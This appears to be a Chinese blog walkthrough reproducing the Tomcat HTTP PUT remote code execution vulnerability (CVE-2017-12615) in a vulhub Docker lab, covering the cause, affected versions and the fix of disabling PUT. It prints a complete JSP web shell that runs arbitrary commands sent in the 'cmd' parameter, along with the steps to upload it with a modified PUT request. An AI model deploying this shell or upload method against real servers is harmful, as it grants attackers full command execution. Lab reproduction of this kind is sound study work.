漏洞复现——tomcat远程代码执行漏洞
2024-09-24 17:08:06
漏洞描述:
当存在该漏洞的Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT请求方法,攻击者可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行
影响范围:
Apache Tomcat 7.0.0 - 7.0.79
漏洞分析:
该漏洞的触发条件有两个,第一tomcat需要运行在Windows主机上,第二要启用PUT请求方法,复现该漏洞时,只需在conf/web.xml中添加
<init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param>
当resdonly的值为true时,是不开启PUT的方法的,当它为false时,则是开启PUT方法 修复方案:
禁用PUT方法即可 实验步骤:
1.docker上开启tomcat服务:
cd vulhub/
cd tomcat/
cd CVE-2017-12615/
docker-compose build
docker-compose up -d
2.Windows上打开tomcat网页,开始上传jsp文件
bp抓包修改包,go:将get方法修改为PUT,加上jsp文件的文件名(红色框),并且将要上传的jsp文件直接粘贴到下面(黄色框)
jsp代码:
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
3.查看是否上传成功,并执行代码
成功上传,查看whoami,jsp木马的密码是023
最新文章
- Touch ID使用
- LeetCode OJ 116. Populating Next Right Pointers in Each Node
- (20160601)开源第三方学习之SVProgressHUD
- eclipse 中的 jar file 和 runnable jar file的区别
- windows环境下搭建ffmpeg开发环境
- sublime text 2 前端编码神器-快捷键与使用技巧介绍
- StringBuilder 大量字符串时使用,速度比较快
- WCF技术剖析之二十七: 如何将一个服务发布成WSDL[编程篇]
- MingQQ v1.0高仿版开源了,使用WebQQ协议实现了QQ客户端基本的聊天功能...
- bootstrap的总结1 - 网格系统
- 使用Dockerfile构建镜像
- forwardport--源码笔记--注释
- hibernate 一对多 取多方数据重复问题,FetchMode.JOIN、FetchMode.SELECT、FetchMode.SUBSELECT区别
- [Swift]LeetCode913.猫与老鼠 | Cat and Mouse
- 2018-2019-2 网络对抗技术 20165303 Exp1 PC平台逆向破解(BOF实验)
- Error ";java.lang.NoClassDefFoundError:org/openxmlformats/schemas/spreadsheetml/x2006/main/CTExtensionList"; in SoapUI
- MVVM模式理解
- Objective-C语法之NSSortDescriptor
- VB.NET版机房收费系统---外观层怎样写
- [区分] 1.计算机网络/internet(互联网) 2.Internet(因特网) 3.www/web(万维网)
热门文章
- (转)JPA &; Restful
- html 之 td valign 和 align
- mysql中创建时间和更新时间的区别
- Docker与.Net项目类型
- Seletct2
- Java中泛型Class<;T>;、T与Class<;?>;、 Object类和Class类、 object.getClass()和Object.class
- git pull 提示 There is no tracking information for the current branch
- Java 字符串常用操作(String类)
- 彻底弄懂JS事件委托的概念和作用
- JavaSE 字符串和正则表达式